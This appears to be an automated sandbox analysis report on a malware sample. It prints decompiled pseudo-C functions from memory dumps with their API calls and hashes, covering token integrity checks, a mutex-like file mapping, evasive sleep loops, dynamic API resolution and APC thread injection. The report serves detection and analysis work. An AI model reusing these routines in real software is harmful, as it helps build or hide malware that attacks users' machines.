Opcode ID: 2e8302c24db467e9b5466d5654d080b83219e3fbe8e67ba6f678f57f6a515046
Instruction ID: bcc887d71675999c673e285f1704182bf9803c61a9668b0f160e92206cf9e2cc
Opcode Fuzzy Hash: 2e8302c24db467e9b5466d5654d080b83219e3fbe8e67ba6f678f57f6a515046
Instruction Fuzzy Hash: 50216DB6900118BFF711EFA4CC84EDE77ADEB543D0F118066FA05D7154EB3099468B61

Uniqueness

Uniqueness Score: -1.00%

Function 0140232F, Relevance: 13.6, APIs: 9, Instructions: 72
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E0140232F(intOrPtr __edx, void** _a4, void** _a8) {
				intOrPtr _v8;
				struct _FILETIME* _v12;
				short _v56;
				struct _FILETIME* _t12;
				intOrPtr _t13;
				void* _t17;
				void* _t21;
				intOrPtr _t27;
				long _t28;
				void* _t30;

				_t27 = __edx;
				_t12 =  &_v12;
				GetSystemTimeAsFileTime(_t12);
				_push(0x192);
				_push(0x54d38000);
				_push(_v8);
				_push(_v12);
				L0140AF28();
				_push(_t12);
				_v12 = _t12;
				_t13 =  *0x140d2a8; // 0x10fa5a8
				_t5 = _t13 + 0x140e87e; // 0x2508e26
				_t6 = _t13 + 0x140e59c; // 0x530025
				_push(0x16);
				_push( &_v56);
				_v8 = _t27;
				L0140ABCA();
				_t17 = CreateFileMappingW(0xffffffff, 0x140d2ac, 4, 0, 0x1000,  &_v56); // executed
				_t30 = _t17;
				if(_t30 == 0) {
					_t28 = GetLastError();
				} else {
					if(GetLastError() == 0xb7) {
						_t21 = MapViewOfFile(_t30, 6, 0, 0, 0); // executed
						if(_t21 == 0) {
							_t28 = GetLastError();
							if(_t28 != 0) {
								goto L6;
							}
						} else {
							 *_a4 = _t30;
							 *_a8 = _t21;
							_t28 = 0;
						}
					} else {
						_t28 = 2;
						L6:
						CloseHandle(_t30);
					}
				}
				return _t28;
			}

0x0140232f
0x01402337
0x0140233b
0x01402341
0x01402346
0x0140234b
0x0140234e
0x01402351
0x01402356
0x01402357
0x0140235a
0x0140235f
0x01402366
0x01402370
0x01402372
0x01402373
0x01402376
0x01402392
0x01402398
0x0140239c
0x014023ea
0x0140239e
0x014023ab
0x014023bb
0x014023c3
0x014023d5
0x014023d9
0x00000000
0x00000000
0x014023c5
0x014023c8
0x014023cd
0x014023cf
0x014023cf
0x014023ad
0x014023af
0x014023db
0x014023dc
0x014023dc
0x014023ab
0x014023f1

APIs

GetSystemTimeAsFileTime.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,01405C31,?,?,4D283A53,?,?), ref: 0140233B
_aulldiv.NTDLL(?,?,54D38000,00000192), ref: 01402351
_snwprintf.NTDLL ref: 01402376
CreateFileMappingW.KERNELBASE(000000FF,0140D2AC,00000004,00000000,00001000,?), ref: 01402392
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,01405C31,?,?,4D283A53), ref: 014023A4
MapViewOfFile.KERNELBASE(00000000,00000006,00000000,00000000,00000000), ref: 014023BB
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,01405C31,?,?), ref: 014023DC
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,01405C31,?,?,4D283A53), ref: 014023E4

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: File$ErrorLastTime$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
String ID:
API String ID: 1814172918-0
Opcode ID: d7a945d019d5f5f244dda0e426e3f88c0f557d95f8499b600a74b834d055eb6f
Instruction ID: a82e421ebf8c4edfa047f0d0f8d7a93de193370b782bd659efafe9af52338c6c
Opcode Fuzzy Hash: d7a945d019d5f5f244dda0e426e3f88c0f557d95f8499b600a74b834d055eb6f
Instruction Fuzzy Hash: 8021D5B2600204FBD723EFAADC49F8E7BA9AB45750F200176F605E72E0D6B09509CB50

Uniqueness

Uniqueness Score: -1.00%

Function 01401A08, Relevance: 10.6, APIs: 7, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E01401A08(long* _a4) {
				long _v8;
				void* _v12;
				void _v16;
				long _v20;
				int _t33;
				void* _t46;

				_v16 = 1;
				_v20 = 0x2000;
				if( *0x140d25c > 5) {
					_v16 = 0;
					if(OpenProcessToken(0xffffffff, 0x20008,  &_v12) != 0) {
						GetTokenInformation(_v12, 0x14,  &_v16, 4,  &_v8); // executed
						_v8 = 0;
						GetTokenInformation(_v12, 0x19, 0, 0,  &_v8); // executed
						if(_v8 != 0) {
							_t46 = E0140A71F(_v8);
							if(_t46 != 0) {
								_t33 = GetTokenInformation(_v12, 0x19, _t46, _v8,  &_v8); // executed
								if(_t33 != 0) {
									_v20 =  *(GetSidSubAuthority( *_t46,  *(GetSidSubAuthorityCount( *_t46)) - 0x00000001 & 0x000000ff));
								}
								E0140A734(_t46);
							}
						}
						CloseHandle(_v12);
					}
				}
				 *_a4 = _v20;
				return _v16;
			}

0x01401a15
0x01401a1c
0x01401a23
0x01401a37
0x01401a42
0x01401a5a
0x01401a67
0x01401a6a
0x01401a6f
0x01401a7a
0x01401a7e
0x01401a8d
0x01401a91
0x01401aad
0x01401aad
0x01401ab1
0x01401ab1
0x01401ab6
0x01401aba
0x01401ac0
0x01401ac1
0x01401ac8
0x01401ace

APIs

OpenProcessToken.ADVAPI32(000000FF,00020008,00000000,00000000), ref: 01401A3A
GetTokenInformation.KERNELBASE(00000000,00000014(TokenIntegrityLevel),00000001,00000004,?,00000000), ref: 01401A5A
GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,?), ref: 01401A6A
CloseHandle.KERNEL32(00000000), ref: 01401ABA

Part of subcall function 0140A71F: RtlAllocateHeap.NTDLL(00000000,00000000,01405595), ref: 0140A72B

GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,?,?,?,?), ref: 01401A8D
GetSidSubAuthorityCount.ADVAPI32(00000000), ref: 01401A95
GetSidSubAuthority.ADVAPI32(00000000,?), ref: 01401AA5

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: Token$Information$Authority$AllocateCloseCountHandleHeapOpenProcess
String ID:
API String ID: 1295030180-0
Opcode ID: 4daac277f35483b93d7ac21cf514478b52e22bc297c3db9de61ca283a8caf58d
Instruction ID: af3e5d9423d54e9c20206667c73318d3d29eaae157d63d9ea427e2021a41231a
Opcode Fuzzy Hash: 4daac277f35483b93d7ac21cf514478b52e22bc297c3db9de61ca283a8caf58d
Instruction Fuzzy Hash: 58218E75900249FFEB12DFD6CD84EAEBBB9EB44704F104066E601A22A1C7708A44DF10

Uniqueness

Uniqueness Score: -1.00%

Function 0140391F, Relevance: 9.2, APIs: 6, Instructions: 154memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 0140395A
IUnknown_QueryInterface_Proxy.RPCRT4(?,332C4425,?), ref: 014039DD
StrStrIW.SHLWAPI(00000000,006E0069), ref: 01403A1D
SysFreeString.OLEAUT32(00000000), ref: 01403A3F

Part of subcall function 01406F3A: SysAllocString.OLEAUT32(0140C290), ref: 01406F8A

SafeArrayDestroy.OLEAUT32(00000000), ref: 01403A92
SysFreeString.OLEAUT32(00000000), ref: 01403AA1

Part of subcall function 01401AE2: Sleep.KERNELBASE(000001F4), ref: 01401B2A

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree$ArrayDestroyInterface_ProxyQuerySafeSleepUnknown_
String ID:
API String ID: 2118684380-0
Opcode ID: cb5b6547045ab9881dbdac7e48f83688e9a0edfb47772490bee961c42d267cbf
Instruction ID: 7623158af11194e53047f376395d0a6fcc0b37f98bca7dabc8aa37bdac2dbf57
Opcode Fuzzy Hash: cb5b6547045ab9881dbdac7e48f83688e9a0edfb47772490bee961c42d267cbf
Instruction Fuzzy Hash: AD516075900609AFDB12CFEAC884A9ABBB6BF98700F14846AE905DB270DB35DD45CF50

Uniqueness

Uniqueness Score: -1.00%

Function 10001146, Relevance: 9.1, APIs: 6, Instructions: 81
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10001146(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v8;
				_Unknown_base(*)()* _t29;
				_Unknown_base(*)()* _t33;
				_Unknown_base(*)()* _t36;
				_Unknown_base(*)()* _t39;
				_Unknown_base(*)()* _t42;
				intOrPtr _t46;
				struct HINSTANCE__* _t50;
				intOrPtr _t56;

				_t56 = E10002009(0x20);
				if(_t56 == 0) {
					_v8 = 8;
				} else {
					_t50 = GetModuleHandleA( *0x10004144 + 0x10005014);
					_v8 = 0x7f;
					_t29 = GetProcAddress(_t50,  *0x10004144 + 0x10005151);
					 *(_t56 + 0xc) = _t29;
					if(_t29 == 0) {
						L8:
						E1000201E(_t56);
					} else {
						_t33 = GetProcAddress(_t50,  *0x10004144 + 0x10005161);
						 *(_t56 + 0x10) = _t33;
						if(_t33 == 0) {
							goto L8;
						} else {
							_t36 = GetProcAddress(_t50,  *0x10004144 + 0x10005174);
							 *(_t56 + 0x14) = _t36;
							if(_t36 == 0) {
								goto L8;
							} else {
								_t39 = GetProcAddress(_t50,  *0x10004144 + 0x10005189);
								 *(_t56 + 0x18) = _t39;
								if(_t39 == 0) {
									goto L8;
								} else {
									_t42 = GetProcAddress(_t50,  *0x10004144 + 0x1000519f);
									 *(_t56 + 0x1c) = _t42;
									if(_t42 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t56 + 8)) = _a8;
										 *((intOrPtr*)(_t56 + 4)) = _a4;
										_t46 = E10001996(_t56, _a12); // executed
										_v8 = _t46;
										if(_t46 != 0) {
											goto L8;
										} else {
											 *_a16 = _t56;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}

0x10001154
0x10001158
0x10001219
0x1000115e
0x10001176
0x10001185
0x1000118c
0x1000118e
0x10001193
0x10001211
0x10001212
0x10001195
0x100011a2
0x100011a4
0x100011a9
0x00000000
0x100011ab
0x100011b8
0x100011ba
0x100011bf
0x00000000
0x100011c1
0x100011ce
0x100011d0
0x100011d5
0x00000000
0x100011d7
0x100011e4
0x100011e6
0x100011eb
0x00000000
0x100011ed
0x100011f3
0x100011f9
0x100011fe
0x10001203
0x10001208
0x00000000
0x1000120a
0x1000120d
0x1000120d
0x10001208
0x100011eb
0x100011d5
0x100011bf
0x100011a9
0x10001193
0x10001227

APIs

Part of subcall function 10002009: HeapAlloc.KERNEL32(00000000,?,10001FA5,00000208,00000000,00000000,?,?,?,100014C0,?), ref: 10002015

GetModuleHandleA.KERNEL32(?,00000020), ref: 1000116A
GetProcAddress.KERNEL32(00000000,?), ref: 1000118C
GetProcAddress.KERNEL32(00000000,?), ref: 100011A2
GetProcAddress.KERNEL32(00000000,?), ref: 100011B8
GetProcAddress.KERNEL32(00000000,?), ref: 100011CE
GetProcAddress.KERNEL32(00000000,?), ref: 100011E4

Part of subcall function 10001996: NtCreateSection.NTDLL(?,000F001F,?,?,?,08000000,00000000,75144EE0,00000000,00000000), ref: 100019F3
Part of subcall function 10001996: memset.NTDLL ref: 10001A15

Memory Dump Source

Source File: 00000000.00000002.497616877.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.497593302.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.497662482.0000000010003000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.497710590.0000000010005000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.497734252.0000000010006000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$AllocCreateHandleHeapModuleSectionmemset
String ID:
API String ID: 1632424568-0
Opcode ID: 17d813e253e26c7d917519e6547015275f2db354573dbeff9a142f8077207000
Instruction ID: cc8e7b0cdea4028d8609f0a74ea6faac012f454d02bbe199c50159465f61c836
Opcode Fuzzy Hash: 17d813e253e26c7d917519e6547015275f2db354573dbeff9a142f8077207000
Instruction Fuzzy Hash: EA2107B160071AAFEB11DFB9CD80E9BB7ECEF643C17024466E945D7219EB70E9108B60

Uniqueness

Uniqueness Score: -1.00%

Function 10001D4B, Relevance: 9.1, APIs: 6, Instructions: 71
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			_entry_(void* __ecx, intOrPtr _a4, char _a8, intOrPtr _a12) {
				long _v8;
				void* __edi;
				void* __esi;
				void* __ebp;
				char _t9;
				void* _t10;
				void* _t18;
				void* _t23;
				void* _t36;

				_push(__ecx);
				_t9 = _a8;
				_v8 = 1;
				if(_t9 == 0) {
					_t10 = InterlockedDecrement(0x10004108);
					__eflags = _t10;
					if(_t10 == 0) {
						__eflags =  *0x1000410c;
						if( *0x1000410c != 0) {
							_t36 = 0x2328;
							while(1) {
								SleepEx(0x64, 1);
								__eflags =  *0x10004118;
								if( *0x10004118 == 0) {
									break;
								}
								_t36 = _t36 - 0x64;
								__eflags = _t36;
								if(_t36 > 0) {
									continue;
								}
								break;
							}
							CloseHandle( *0x1000410c);
						}
						HeapDestroy( *0x10004110);
					}
				} else {
					if(_t9 == 1 && InterlockedIncrement(0x10004108) == 1) {
						_t18 = HeapCreate(0, 0x400000, 0); // executed
						 *0x10004110 = _t18;
						_t41 = _t18;
						if(_t18 == 0) {
							L6:
							_v8 = 0;
						} else {
							 *0x10004130 = _a4;
							asm("lock xadd [eax], edi");
							_push( &_a8);
							_t23 = E1000155C(E100015EA, E10001A86(_a12, 1, 0x10004118, _t41));
							 *0x1000410c = _t23;
							if(_t23 == 0) {
								asm("lock xadd [esi], eax");
								goto L6;
							}
						}
					}
				}
				return _v8;
			}

0x10001d4e
0x10001d5a
0x10001d5c
0x10001d5f
0x10001dd5
0x10001ddb
0x10001ddd
0x10001ddf
0x10001de5
0x10001de7
0x10001dec
0x10001def
0x10001dfa
0x10001dfc
0x00000000
0x00000000
0x10001dfe
0x10001e01
0x10001e03
0x00000000
0x00000000
0x00000000
0x10001e03
0x10001e0b
0x10001e0b
0x10001e17
0x10001e17
0x10001d61
0x10001d62
0x10001d82
0x10001d88
0x10001d8d
0x10001d8f
0x10001dcb
0x10001dcb
0x10001d91
0x10001d99
0x10001da0
0x10001daa
0x10001db6
0x10001dbb
0x10001dc2
0x10001dc7
0x00000000
0x10001dc7
0x10001dc2
0x10001d8f
0x10001d62
0x10001e24

APIs

InterlockedIncrement.KERNEL32(10004108), ref: 10001D6D
HeapCreate.KERNELBASE(00000000,00400000,00000000), ref: 10001D82

Part of subcall function 1000155C: CreateThread.KERNEL32 ref: 10001573
Part of subcall function 1000155C: QueueUserAPC.KERNELBASE(?,00000000,?), ref: 10001588
Part of subcall function 1000155C: GetLastError.KERNEL32(00000000), ref: 10001593
Part of subcall function 1000155C: TerminateThread.KERNEL32(00000000,00000000), ref: 1000159D
Part of subcall function 1000155C: CloseHandle.KERNEL32(00000000), ref: 100015A4
Part of subcall function 1000155C: SetLastError.KERNEL32(00000000), ref: 100015AD

InterlockedDecrement.KERNEL32(10004108), ref: 10001DD5
SleepEx.KERNEL32(00000064,00000001), ref: 10001DEF
CloseHandle.KERNEL32 ref: 10001E0B
HeapDestroy.KERNEL32 ref: 10001E17

Memory Dump Source

Source File: 00000000.00000002.497616877.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.497593302.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.497662482.0000000010003000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.497710590.0000000010005000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.497734252.0000000010006000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseCreateErrorHandleHeapInterlockedLastThread$DecrementDestroyIncrementQueueSleepTerminateUser
String ID:
API String ID: 2110400756-0
Opcode ID: 40578092a05b622e8806beb96ef45d375467769f53722385fffed7eee2b4cb66
Instruction ID: 8abdcd5857cf8f821d83f0baa7898db106f37a39b4e53263aae9e46ce88ae204
Opcode Fuzzy Hash: 40578092a05b622e8806beb96ef45d375467769f53722385fffed7eee2b4cb66
Instruction Fuzzy Hash: 63215EB1601265AFF701EFA9CCC89CE7BE8FB552E17128529FA05D3168DB748D808F94

Uniqueness

Uniqueness Score: -1.00%

Function 014012E5, Relevance: 9.1, APIs: 6, Instructions: 60
sleepmemorytimeCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E014012E5(void* __ecx, void* __edx, intOrPtr _a4) {
				struct _FILETIME _v12;
				void* _t10;
				void* _t12;
				int _t14;
				signed int _t16;
				void* _t18;
				signed int _t19;
				unsigned int _t23;
				void* _t26;
				signed int _t33;

				_t26 = __edx;
				_push(__ecx);
				_push(__ecx);
				_t10 = HeapCreate(0, 0x400000, 0); // executed
				 *0x140d238 = _t10;
				if(_t10 != 0) {
					 *0x140d1a8 = GetTickCount();
					_t12 = E01403E69(_a4);
					if(_t12 == 0) {
						do {
							GetSystemTimeAsFileTime( &_v12);
							_t14 = SwitchToThread();
							_t23 = _v12.dwHighDateTime;
							_t16 = (_t23 << 0x00000020 | _v12.dwLowDateTime) >> 7;
							_push(0);
							_push(9);
							_push(_t23 >> 7);
							_push(_t16);
							L0140B08A();
							_t33 = _t14 + _t16;
							_t18 = E01405548(_a4, _t33);
							_t19 = 2;
							_t25 = _t33;
							Sleep(_t19 << _t33); // executed
						} while (_t18 == 1);
						if(E01404DA2(_t25) != 0) {
							 *0x140d260 = 1; // executed
						}
						_t12 = E01405BA2(_t26); // executed
					}
				} else {
					_t12 = 8;
				}
				return _t12;
			}

0x014012e5
0x014012eb
0x014012ec
0x014012f8
0x014012fe
0x01401305
0x01401315
0x0140131a
0x01401321
0x01401323
0x01401328
0x0140132e
0x01401334
0x0140133e
0x01401342
0x01401344
0x01401349
0x0140134a
0x0140134b
0x01401350
0x01401356
0x0140135f
0x01401360
0x01401365
0x0140136b
0x01401377
0x01401379
0x01401379
0x01401383
0x01401383
0x01401307
0x01401309
0x01401309
0x0140138d

APIs

HeapCreate.KERNELBASE(00000000,00400000,00000000,?,00000001,?,?,?,01404EF2,?), ref: 014012F8
GetTickCount.KERNEL32 ref: 0140130C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,00000001,?,?,?,01404EF2,?), ref: 01401328
SwitchToThread.KERNEL32(?,00000001,?,?,?,01404EF2,?), ref: 0140132E
_aullrem.NTDLL(?,?,00000009,00000000), ref: 0140134B
Sleep.KERNELBASE(00000002,00000000,?,00000001,?,?,?,01404EF2,?), ref: 01401365

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: Time$CountCreateFileHeapSleepSwitchSystemThreadTick_aullrem
String ID:
API String ID: 507476733-0
Opcode ID: 25a72e357460b0cabe9a299d7acf61d0711e2eae330889a435e59417ebfdb94b
Instruction ID: d3633ebd224a29c123c714719a29ee29d385003807fe244bb1969ef35671b31b
Opcode Fuzzy Hash: 25a72e357460b0cabe9a299d7acf61d0711e2eae330889a435e59417ebfdb94b
Instruction Fuzzy Hash: 1111E9B1A40301AFF322ABFBDD49B5A3B98EB54750F00063AF945C62E0EA74D400C761

Uniqueness

Uniqueness Score: -1.00%

Function 1000155C, Relevance: 9.0, APIs: 6, Instructions: 32
threadinjectionCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E1000155C(long _a4, DWORD* _a12) {
				_Unknown_base(*)()* _v0;
				void* _t4;
				long _t6;
				long _t11;
				void* _t13;

				_t4 = CreateThread(0, 0, __imp__SleepEx,  *0x10004140, 0, _a12); // executed
				_t13 = _t4;
				if(_t13 != 0) {
					_t6 = QueueUserAPC(_v0, _t13, _a4); // executed
					if(_t6 == 0) {
						_t11 = GetLastError();
						TerminateThread(_t13, _t11);
						CloseHandle(_t13);
						_t13 = 0;
						SetLastError(_t11);
					}
				}
				return _t13;
			}

0x10001573
0x10001579
0x1000157d
0x10001588
0x10001590
0x10001599
0x1000159d
0x100015a4
0x100015ab
0x100015ad
0x100015b3
0x10001590
0x100015b7

APIs

CreateThread.KERNEL32 ref: 10001573
QueueUserAPC.KERNELBASE(?,00000000,?), ref: 10001588
GetLastError.KERNEL32(00000000), ref: 10001593
TerminateThread.KERNEL32(00000000,00000000), ref: 1000159D
CloseHandle.KERNEL32(00000000), ref: 100015A4
SetLastError.KERNEL32(00000000), ref: 100015AD

Memory Dump Source

Source File: 00000000.00000002.497616877.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.497593302.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.497662482.0000000010003000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.497710590.0000000010005000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.497734252.0000000010006000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastThread$CloseCreateHandleQueueTerminateUser
String ID:
API String ID: 3832013932-0
Opcode ID: 6f0211ee254cd8ac356c66c047a1bb7dd8caa7d1716406ebd0edc35e6fc89079
Instruction ID: be479b49fbd3a67d9e649fe4ff68f805dcd113b126df67a65f96eea9d80bca7e
Opcode Fuzzy Hash: 6f0211ee254cd8ac356c66c047a1bb7dd8caa7d1716406ebd0edc35e6fc89079
Instruction Fuzzy Hash: 6CF0FE72506631FBF3235BA19C98F9BBB6DFB487D1F018404FA0695168C72189119BA5

Uniqueness

Uniqueness Score: -1.00%

Function 01405BA2, Relevance: 7.7, APIs: 5, Instructions: 159
memoryCOMMON

Download Yara Rule

C-Code - Quality: 57%

			E01405BA2(signed int __edx) {
				signed int _v8;
				long _v12;
				CHAR* _v16;
				long _v20;
				void* __edi;
				void* __esi;
				void* _t21;
				CHAR* _t22;
				CHAR* _t25;
				intOrPtr _t26;
				void* _t27;
				void* _t31;
				void* _t32;
				CHAR* _t36;
				CHAR* _t42;
				CHAR* _t43;
				CHAR* _t44;
				void* _t49;
				void* _t51;
				CHAR* _t54;
				signed char _t56;
				intOrPtr _t58;
				signed int _t59;
				void* _t62;
				CHAR* _t65;
				CHAR* _t66;
				char* _t67;
				void* _t68;

				_t61 = __edx;
				_v20 = 0;
				_v8 = 0;
				_v12 = 0;
				_t21 = E01406C09();
				if(_t21 != 0) {
					_t59 =  *0x140d25c; // 0x2000000a
					_t55 = (_t59 & 0xf0000000) + _t21;
					 *0x140d25c = (_t59 & 0xf0000000) + _t21;
				}
				_t22 =  *0x140d160(0, 2); // executed
				_v16 = _t22;
				if(_t22 == 0 || _t22 == 1 || _t22 == 0x80010106) {
					_t25 = E0140496B( &_v8,  &_v20); // executed
					_t54 = _t25;
					_t26 =  *0x140d2a8; // 0x10fa5a8
					if( *0x140d25c > 5) {
						_t8 = _t26 + 0x140e5cd; // 0x4d283a53
						_t27 = _t8;
					} else {
						_t7 = _t26 + 0x140e9f5; // 0x44283a44
						_t27 = _t7;
					}
					E0140729A(_t27, _t27);
					_t31 = E0140232F(_t61,  &_v20,  &_v12); // executed
					if(_t31 == 0) {
						CloseHandle(_v20);
					}
					_t62 = 5;
					if(_t54 != _t62) {
						 *0x140d270 =  *0x140d270 ^ 0x81bbe65d;
						_t32 = E0140A71F(0x60);
						 *0x140d32c = _t32;
						__eflags = _t32;
						if(_t32 == 0) {
							_push(8);
							_pop(0);
						} else {
							memset(_t32, 0, 0x60);
							_t49 =  *0x140d32c; // 0x25095b0
							_t68 = _t68 + 0xc;
							__imp__(_t49 + 0x40);
							_t51 =  *0x140d32c; // 0x25095b0
							 *_t51 = 0x140e81a;
						}
						_t54 = 0;
						__eflags = 0;
						if(0 == 0) {
							_t36 = RtlAllocateHeap( *0x140d238, 0, 0x43);
							 *0x140d2c8 = _t36;
							__eflags = _t36;
							if(_t36 == 0) {
								_push(8);
								_pop(0);
							} else {
								_t56 =  *0x140d25c; // 0x2000000a
								_t61 = _t56 & 0x000000ff;
								_t58 =  *0x140d2a8; // 0x10fa5a8
								_t13 = _t58 + 0x140e55a; // 0x697a6f4d
								_t55 = _t13;
								wsprintfA(_t36, _t13, _t56 & 0x000000ff, _t56 & 0x000000ff, 0x140c287);
							}
							_t54 = 0;
							__eflags = 0;
							if(0 == 0) {
								asm("sbb eax, eax");
								E01409135( ~_v8 &  *0x140d270, 0x140d00c); // executed
								_t42 = E0140888E(_t55); // executed
								_t54 = _t42;
								__eflags = _t54;
								if(_t54 != 0) {
									goto L30;
								}
								_t43 = E014087AE(); // executed
								__eflags = _t43;
								if(_t43 != 0) {
									__eflags = _v8;
									_t65 = _v12;
									if(_v8 != 0) {
										L29:
										_t44 = E014051B0(_t61, _t65, _v8); // executed
										_t54 = _t44;
										goto L30;
									}
									__eflags = _t65;
									if(__eflags == 0) {
										goto L30;
									}
									_t54 = E01401C66(__eflags,  &(_t65[4]));
									__eflags = _t54;
									if(_t54 == 0) {
										goto L30;
									}
									goto L29;
								}
								_t54 = 8;
							}
						}
					} else {
						_t66 = _v12;
						if(_t66 == 0) {
							L30:
							if(_v16 == 0 || _v16 == 1) {
								 *0x140d15c();
							}
							goto L34;
						}
						_t67 =  &(_t66[4]);
						do {
						} while (E0140A273(_t62, _t67, 0, 1) == 0x4c7);
					}
					goto L30;
				} else {
					_t54 = _t22;
					L34:
					return _t54;
				}
			}

0x01405ba2
0x01405bad
0x01405bb0
0x01405bb3
0x01405bb6
0x01405bbd
0x01405bbf
0x01405bcb
0x01405bcd
0x01405bcd
0x01405bd6
0x01405bdc
0x01405be1
0x01405bfb
0x01405c07
0x01405c09
0x01405c0e
0x01405c18
0x01405c18
0x01405c10
0x01405c10
0x01405c10
0x01405c10
0x01405c1f
0x01405c2c
0x01405c33
0x01405c38
0x01405c38
0x01405c40
0x01405c43
0x01405c69
0x01405c75
0x01405c7a
0x01405c7f
0x01405c81
0x01405cad
0x01405caf
0x01405c83
0x01405c87
0x01405c8c
0x01405c91
0x01405c98
0x01405c9e
0x01405ca3
0x01405ca9
0x01405cb0
0x01405cb2
0x01405cb4
0x01405cc3
0x01405cc9
0x01405cce
0x01405cd0
0x01405d00
0x01405d02
0x01405cd2
0x01405cd2
0x01405cd8
0x01405ce5
0x01405ceb
0x01405ceb
0x01405cf3
0x01405cfc
0x01405d03
0x01405d05
0x01405d07
0x01405d0e
0x01405d1b
0x01405d20
0x01405d25
0x01405d27
0x01405d29
0x00000000
0x00000000
0x01405d2b
0x01405d30
0x01405d32
0x01405d39
0x01405d3d
0x01405d40
0x01405d55
0x01405d59
0x01405d5e
0x00000000
0x01405d5e
0x01405d42
0x01405d44
0x00000000
0x00000000
0x01405d4f
0x01405d51
0x01405d53
0x00000000
0x00000000
0x00000000
0x01405d53
0x01405d36
0x01405d36
0x01405d07
0x01405c45
0x01405c45
0x01405c4a
0x01405d60
0x01405d64
0x01405d6c
0x01405d6c
0x00000000
0x01405d64
0x01405c50
0x01405c53
0x01405c5d
0x01405c64
0x00000000
0x01405d74
0x01405d74
0x01405d78
0x01405d7c
0x01405d7c

APIs

Part of subcall function 01406C09: GetModuleHandleA.KERNEL32(4C44544E,00000000,01405BBB,00000000,00000000), ref: 01406C18

CloseHandle.KERNEL32(?,?,?,4D283A53,?,?), ref: 01405C38

Part of subcall function 0140A71F: RtlAllocateHeap.NTDLL(00000000,00000000,01405595), ref: 0140A72B

memset.NTDLL ref: 01405C87
RtlInitializeCriticalSection.NTDLL(02509570), ref: 01405C98

Part of subcall function 01401C66: memset.NTDLL ref: 01401C7B
Part of subcall function 01401C66: lstrlenW.KERNEL32(00000000,00410025,00000005,?,00000000), ref: 01401CBD
Part of subcall function 01401C66: StrCmpNIW.SHLWAPI(00000000,00000000,00000000), ref: 01401CC8

RtlAllocateHeap.NTDLL(00000000,00000043,00000060), ref: 01405CC3
wsprintfA.USER32 ref: 01405CF3

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

